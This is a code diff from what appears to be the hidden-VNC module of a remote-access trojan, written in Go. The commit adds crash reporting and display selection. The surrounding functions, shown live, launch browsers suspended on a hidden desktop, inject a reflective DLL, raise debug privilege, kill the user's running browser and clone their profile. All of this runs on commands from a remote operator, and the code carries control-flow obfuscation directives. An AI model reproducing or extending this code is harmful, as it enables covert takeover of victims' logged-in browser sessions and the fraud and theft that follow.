add more info for when chrome gets killed
This commit is contained in:
@@ -4,7 +4,7 @@ package capture
|
|||||||
|
|
||||||
import "errors"
|
import "errors"
|
||||||
|
|
||||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||||
return 0, errors.New("HVNC injection not supported on this platform")
|
return 0, errors.New("HVNC injection not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
|
|||||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||||
type LaunchStatusFunc func(step string, success bool, detail string)
|
type LaunchStatusFunc func(step string, success bool, detail string)
|
||||||
|
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||||
return errors.New("HVNC injection not supported on this platform")
|
return errors.New("HVNC injection not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -30,6 +30,7 @@ var (
|
|||||||
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
|
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
|
||||||
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
|
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
|
||||||
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
|
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
|
||||||
|
procGetExitCodeProcess = kernel32.NewProc("GetExitCodeProcess")
|
||||||
)
|
)
|
||||||
|
|
||||||
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||||
@@ -66,6 +67,58 @@ const (
|
|||||||
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
|
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func describeExitCode(code uint32) string {
|
||||||
|
switch code {
|
||||||
|
case 0:
|
||||||
|
return "normal exit"
|
||||||
|
case 0xC0000005:
|
||||||
|
return "access violation (0xC0000005)"
|
||||||
|
case 0xC0000374:
|
||||||
|
return "heap corruption (0xC0000374)"
|
||||||
|
case 0xC0000409:
|
||||||
|
return "stack buffer overrun (0xC0000409)"
|
||||||
|
case 0xC000001D:
|
||||||
|
return "illegal instruction (0xC000001D)"
|
||||||
|
case 0xC00000FD:
|
||||||
|
return "stack overflow (0xC00000FD)"
|
||||||
|
case 0xC0000096:
|
||||||
|
return "privileged instruction (0xC0000096)"
|
||||||
|
case 0x40010004:
|
||||||
|
return "debugger terminated process"
|
||||||
|
case 0xC000013A:
|
||||||
|
return "process killed by Ctrl+C"
|
||||||
|
case 1:
|
||||||
|
return "general error (exit code 1)"
|
||||||
|
default:
|
||||||
|
return fmt.Sprintf("exit code 0x%X (%d)", code, code)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func monitorProcessCrash(pid uint32, label string, notify func(step string, success bool, detail string)) {
|
||||||
|
hProc, _, _ := procOpenProcess.Call(
|
||||||
|
SYNCHRONIZE|0x1000, // SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION
|
||||||
|
0, uintptr(pid),
|
||||||
|
)
|
||||||
|
if hProc == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer procCloseHandle.Call(hProc)
|
||||||
|
|
||||||
|
ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
|
||||||
|
if ret != 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var exitCode uint32
|
||||||
|
procGetExitCodeProcess.Call(hProc, uintptr(unsafe.Pointer(&exitCode)))
|
||||||
|
|
||||||
|
if exitCode == 0 {
|
||||||
|
notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
|
||||||
|
} else {
|
||||||
|
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
|
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
|
||||||
func enableDebugPrivilege() {
|
func enableDebugPrivilege() {
|
||||||
var hToken uintptr
|
var hToken uintptr
|
||||||
@@ -103,7 +156,7 @@ func enableDebugPrivilege() {
|
|||||||
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||||
// injects the reflective DLL, then resumes it.
|
// injects the reflective DLL, then resumes it.
|
||||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return 0, fmt.Errorf("empty file path")
|
return 0, fmt.Errorf("empty file path")
|
||||||
}
|
}
|
||||||
@@ -118,6 +171,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
|||||||
captureDllBytes: captureDllBytes,
|
captureDllBytes: captureDllBytes,
|
||||||
searchPath: searchPath,
|
searchPath: searchPath,
|
||||||
replacePath: replacePath,
|
replacePath: replacePath,
|
||||||
|
display: display,
|
||||||
}, 30*time.Second)
|
}, 30*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, err
|
return 0, err
|
||||||
@@ -125,7 +179,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
|||||||
return result.pid, result.err
|
return result.pid, result.err
|
||||||
}
|
}
|
||||||
|
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||||
if onDXGIStatus != nil {
|
if onDXGIStatus != nil {
|
||||||
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
||||||
}
|
}
|
||||||
@@ -158,12 +212,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
}
|
}
|
||||||
if isProcessRunning(processName) {
|
if isProcessRunning(processName) {
|
||||||
notify("kill", true, fmt.Sprintf("killing running %s", processName))
|
notify("kill", true, fmt.Sprintf("killing running %s", processName))
|
||||||
killProcess(processName)
|
killed := killProcess(processName)
|
||||||
time.Sleep(1500 * time.Millisecond)
|
time.Sleep(1500 * time.Millisecond)
|
||||||
if isProcessRunning(processName) {
|
if isProcessRunning(processName) {
|
||||||
notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName))
|
notify("kill", false, fmt.Sprintf("%s still running after kill attempt (%d terminated)", processName, len(killed)))
|
||||||
} else {
|
} else {
|
||||||
notify("kill", true, fmt.Sprintf("%s terminated", processName))
|
notify("kill", true, fmt.Sprintf("terminated %d %s process(es) (PIDs %v)", len(killed), processName, killed))
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
|
notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
|
||||||
@@ -172,7 +226,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
|
|
||||||
if !clone {
|
if !clone {
|
||||||
notify("launch", true, "starting without profile cloning")
|
notify("launch", true, "starting without profile cloning")
|
||||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
|
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||||
return err
|
return err
|
||||||
@@ -184,6 +238,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
patchOperaAsync(pid, 5, 2*time.Second)
|
patchOperaAsync(pid, 5, 2*time.Second)
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
if pid != 0 {
|
||||||
|
go func() {
|
||||||
|
defer recoverAndLog("hvnc crash monitor", nil)
|
||||||
|
monitorProcessCrash(pid, info.name, notify)
|
||||||
|
}()
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -224,7 +284,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
}
|
}
|
||||||
|
|
||||||
notify("launch", true, "starting with cloned profile")
|
notify("launch", true, "starting with cloned profile")
|
||||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
|
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||||
return err
|
return err
|
||||||
@@ -236,12 +296,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
patchOperaAsync(pid, 5, 2*time.Second)
|
patchOperaAsync(pid, 5, 2*time.Second)
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
if pid != 0 {
|
||||||
|
go func() {
|
||||||
|
defer recoverAndLog("hvnc crash monitor", nil)
|
||||||
|
monitorProcessCrash(pid, info.name, notify)
|
||||||
|
}()
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil)
|
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
type browserInfo struct {
|
type browserInfo struct {
|
||||||
@@ -417,10 +483,10 @@ func isProcessRunning(name string) bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func killProcess(name string) {
|
func killProcess(name string) []uint32 {
|
||||||
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
|
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
|
||||||
if snapshot == uintptr(^uintptr(0)) {
|
if snapshot == uintptr(^uintptr(0)) {
|
||||||
return
|
return nil
|
||||||
}
|
}
|
||||||
defer procCloseHandle.Call(snapshot)
|
defer procCloseHandle.Call(snapshot)
|
||||||
|
|
||||||
@@ -437,11 +503,12 @@ func killProcess(name string) {
|
|||||||
ExeFile [260]uint16
|
ExeFile [260]uint16
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var killed []uint32
|
||||||
var entry processEntry32
|
var entry processEntry32
|
||||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||||
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
|
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
|
||||||
if ret == 0 {
|
if ret == 0 {
|
||||||
return
|
return nil
|
||||||
}
|
}
|
||||||
target := strings.ToLower(name)
|
target := strings.ToLower(name)
|
||||||
for {
|
for {
|
||||||
@@ -449,9 +516,14 @@ func killProcess(name string) {
|
|||||||
if strings.ToLower(exeName) == target {
|
if strings.ToLower(exeName) == target {
|
||||||
hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
|
hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
|
||||||
if hProc != 0 {
|
if hProc != 0 {
|
||||||
kernel32.NewProc("TerminateProcess").Call(hProc, 0)
|
r, _, _ := kernel32.NewProc("TerminateProcess").Call(hProc, 0)
|
||||||
procCloseHandle.Call(hProc)
|
procCloseHandle.Call(hProc)
|
||||||
|
if r != 0 {
|
||||||
|
killed = append(killed, entry.ProcessID)
|
||||||
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
|
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
|
||||||
|
} else {
|
||||||
|
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||||
@@ -460,6 +532,7 @@ func killProcess(name string) {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
return killed
|
||||||
}
|
}
|
||||||
|
|
||||||
func getBrowserUserDataDir(info browserInfo) string {
|
func getBrowserUserDataDir(info browserInfo) string {
|
||||||
@@ -785,7 +858,7 @@ func calcDirSize(dir string) int64 {
|
|||||||
return total
|
return total
|
||||||
}
|
}
|
||||||
|
|
||||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return 0, fmt.Errorf("empty file path")
|
return 0, fmt.Errorf("empty file path")
|
||||||
@@ -805,7 +878,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
|||||||
enableDebugPrivilege()
|
enableDebugPrivilege()
|
||||||
|
|
||||||
// Create the process suspended on the HVNC desktop
|
// Create the process suspended on the HVNC desktop
|
||||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
|
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
procCloseHandle.Call(shmHandle)
|
procCloseHandle.Call(shmHandle)
|
||||||
return 0, fmt.Errorf("failed to create suspended process: %v", err)
|
return 0, fmt.Errorf("failed to create suspended process: %v", err)
|
||||||
@@ -1052,12 +1125,17 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
|
|||||||
return handle, name, nil
|
return handle, name, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) {
|
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||||
}
|
}
|
||||||
args := " --window-position=0,0"
|
posX, posY := 0, 0
|
||||||
|
if mons := monitorList(); display >= 0 && display < len(mons) {
|
||||||
|
posX = mons[display].rect.Min.X
|
||||||
|
posY = mons[display].rect.Min.Y
|
||||||
|
}
|
||||||
|
args := fmt.Sprintf(" --window-position=%d,%d", posX, posY)
|
||||||
chromiumExes := map[string]bool{
|
chromiumExes := map[string]bool{
|
||||||
"chrome.exe": true,
|
"chrome.exe": true,
|
||||||
"brave.exe": true,
|
"brave.exe": true,
|
||||||
@@ -1082,8 +1160,8 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
|
|||||||
var pi processInformation
|
var pi processInformation
|
||||||
si.cb = uint32(unsafe.Sizeof(si))
|
si.cb = uint32(unsafe.Sizeof(si))
|
||||||
si.lpDesktop = desktopNamePtr
|
si.lpDesktop = desktopNamePtr
|
||||||
si.dwX = 0
|
si.dwX = uint32(posX)
|
||||||
si.dwY = 0
|
si.dwY = uint32(posY)
|
||||||
si.dwFlags = STARTF_USEPOSITION
|
si.dwFlags = STARTF_USEPOSITION
|
||||||
|
|
||||||
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)
|
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ func HVNCMonitorCount() int {
|
|||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
func StartHVNCProcess(filePath string, operaPatch bool) error {
|
func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
|
||||||
return errors.New("HVNC not supported on this platform")
|
return errors.New("HVNC not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -490,9 +490,9 @@ func ensureHVNCThread() error {
|
|||||||
var result hvncTaskResult
|
var result hvncTaskResult
|
||||||
switch task.kind {
|
switch task.kind {
|
||||||
case hvncTaskStartProcess:
|
case hvncTaskStartProcess:
|
||||||
result.pid, result.err = startHVNCProcessOnThread(task.filePath)
|
result.pid, result.err = startHVNCProcessOnThread(task.filePath, task.display)
|
||||||
case hvncTaskStartProcessInjected:
|
case hvncTaskStartProcessInjected:
|
||||||
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
|
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display)
|
||||||
case hvncTaskMouseMove:
|
case hvncTaskMouseMove:
|
||||||
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
|
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
|
||||||
case hvncTaskMouseDown:
|
case hvncTaskMouseDown:
|
||||||
@@ -546,13 +546,14 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) {
|
|||||||
return result.img, result.err
|
return result.img, result.err
|
||||||
}
|
}
|
||||||
|
|
||||||
func StartHVNCProcess(filePath string, operaPatch bool) error {
|
func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return fmt.Errorf("empty file path")
|
return fmt.Errorf("empty file path")
|
||||||
}
|
}
|
||||||
result, err := executeHVNCTask(hvncTask{
|
result, err := executeHVNCTask(hvncTask{
|
||||||
kind: hvncTaskStartProcess,
|
kind: hvncTaskStartProcess,
|
||||||
filePath: strings.TrimSpace(filePath),
|
filePath: strings.TrimSpace(filePath),
|
||||||
|
display: display,
|
||||||
}, 10*time.Second)
|
}, 10*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
@@ -917,7 +918,7 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
|||||||
return img, nil
|
return img, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func startHVNCProcessOnThread(filePath string) (uint32, error) {
|
func startHVNCProcessOnThread(filePath string, display int) (uint32, error) {
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return 0, fmt.Errorf("empty file path")
|
return 0, fmt.Errorf("empty file path")
|
||||||
}
|
}
|
||||||
@@ -930,12 +931,17 @@ func startHVNCProcessOnThread(filePath string) (uint32, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, fmt.Errorf("failed to convert command line: %v", err)
|
return 0, fmt.Errorf("failed to convert command line: %v", err)
|
||||||
}
|
}
|
||||||
|
posX, posY := 0, 0
|
||||||
|
if mons := monitorList(); display >= 0 && display < len(mons) {
|
||||||
|
posX = mons[display].rect.Min.X
|
||||||
|
posY = mons[display].rect.Min.Y
|
||||||
|
}
|
||||||
var si startupInfo
|
var si startupInfo
|
||||||
var pi processInformation
|
var pi processInformation
|
||||||
si.cb = uint32(unsafe.Sizeof(si))
|
si.cb = uint32(unsafe.Sizeof(si))
|
||||||
si.lpDesktop = desktopNamePtr
|
si.lpDesktop = desktopNamePtr
|
||||||
si.dwX = 0
|
si.dwX = uint32(posX)
|
||||||
si.dwY = 0
|
si.dwY = uint32(posY)
|
||||||
si.dwFlags = STARTF_USEPOSITION
|
si.dwFlags = STARTF_USEPOSITION
|
||||||
|
|
||||||
ret, _, callErr := procCreateProcessW.Call(
|
ret, _, callErr := procCreateProcessW.Call(
|
||||||
@@ -971,7 +977,7 @@ func hvncAutoStartExplorerOnThread() error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
|
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
|
||||||
_, err := startHVNCProcessOnThread("explorer.exe")
|
_, err := startHVNCProcessOnThread("explorer.exe", 0)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("auto-start explorer failed: %w", err)
|
return fmt.Errorf("auto-start explorer failed: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1499,6 +1499,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
filePath := ""
|
filePath := ""
|
||||||
killExe := ""
|
killExe := ""
|
||||||
operaPatch := false
|
operaPatch := false
|
||||||
|
display := 0
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["path"].(string); ok {
|
if v, ok := payload["path"].(string); ok {
|
||||||
filePath = v
|
filePath = v
|
||||||
@@ -1509,8 +1510,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
if v, ok := payload["opera_patch"].(bool); ok {
|
if v, ok := payload["opera_patch"].(bool); ok {
|
||||||
operaPatch = v
|
operaPatch = v
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["display"].(float64); ok {
|
||||||
|
display = int(v)
|
||||||
}
|
}
|
||||||
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
|
}
|
||||||
|
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_process", nil, func() {
|
goSafe("hvnc_start_process", nil, func() {
|
||||||
sendLaunchStatus := func(step string, success bool, detail string) {
|
sendLaunchStatus := func(step string, success bool, detail string) {
|
||||||
@@ -1531,7 +1535,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
|
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
|
||||||
if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
|
if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil {
|
||||||
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
||||||
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
|
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
|
||||||
} else {
|
} else {
|
||||||
@@ -1635,6 +1639,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
filePath := ""
|
filePath := ""
|
||||||
searchPath := ""
|
searchPath := ""
|
||||||
replacePath := ""
|
replacePath := ""
|
||||||
|
display := 0
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["path"].(string); ok {
|
if v, ok := payload["path"].(string); ok {
|
||||||
filePath = v
|
filePath = v
|
||||||
@@ -1645,6 +1650,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
if v, ok := payload["replace_path"].(string); ok {
|
if v, ok := payload["replace_path"].(string); ok {
|
||||||
replacePath = v
|
replacePath = v
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["display"].(float64); ok {
|
||||||
|
display = int(v)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
dllBytes := extractDLLBytes(payload)
|
dllBytes := extractDLLBytes(payload)
|
||||||
if len(dllBytes) == 0 {
|
if len(dllBytes) == 0 {
|
||||||
@@ -1652,10 +1660,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||||
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
|
log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_process_injected", nil, func() {
|
goSafe("hvnc_start_process_injected", nil, func() {
|
||||||
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
|
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
|
||||||
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -1691,6 +1699,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
clone := true
|
clone := true
|
||||||
cloneLite := false
|
cloneLite := false
|
||||||
killIfRunning := false
|
killIfRunning := false
|
||||||
|
display := 0
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["browser"].(string); ok {
|
if v, ok := payload["browser"].(string); ok {
|
||||||
browser = v
|
browser = v
|
||||||
@@ -1707,6 +1716,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
if v, ok := payload["killIfRunning"].(bool); ok {
|
if v, ok := payload["killIfRunning"].(bool); ok {
|
||||||
killIfRunning = v
|
killIfRunning = v
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["display"].(float64); ok {
|
||||||
|
display = int(v)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
dllBytes := extractDLLBytes(payload)
|
dllBytes := extractDLLBytes(payload)
|
||||||
if len(dllBytes) == 0 {
|
if len(dllBytes) == 0 {
|
||||||
@@ -1717,7 +1729,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
|
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
|
||||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||||
@@ -1751,7 +1763,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
Detail: detail,
|
Detail: detail,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
